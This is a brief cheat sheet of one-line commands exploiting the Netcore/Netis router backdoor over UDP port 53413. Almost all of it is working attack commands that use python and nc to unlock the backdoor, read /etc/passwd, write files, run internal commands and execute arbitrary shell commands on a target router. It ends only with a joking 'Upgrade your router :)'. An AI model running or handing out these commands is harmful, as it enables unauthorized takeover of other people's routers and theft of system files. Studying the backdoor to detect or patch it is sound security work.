netcore / netis backdoor...

python -c "print 'A'*8 + 'netcore\x00'" | nc -u -vv IP 53413 # unlock the router (for everybody \o/)
python -c "print 'AA\x00\x01AAAA/etc/passwd\x00'" | nc -u -vv IP 53413 # read file, not supported by all routers
python -c "print 'AA\x00\x02AAAA/etc/passwd\x00'" | nc -u -vv IP 53413 # write file (content in subsequent packets, not reversed...), not supported by all routers
python -c "print 'AA\x00\x00AAAA$Help\x00'" | nc -u -vv IP 53413 # internal commands (don't forget to escape the $ in bash ;) )
python -c "print 'AA\x00\x00AAAA echo toto\x00'" | nc -u -vv IP 53413 # execute shell commands, not supported by all routers
python -c "print 'AA\x00\x00AAAA?\x00'" | nc -u -vv IP 53413 # get version of the deamon

Upgrade your router :)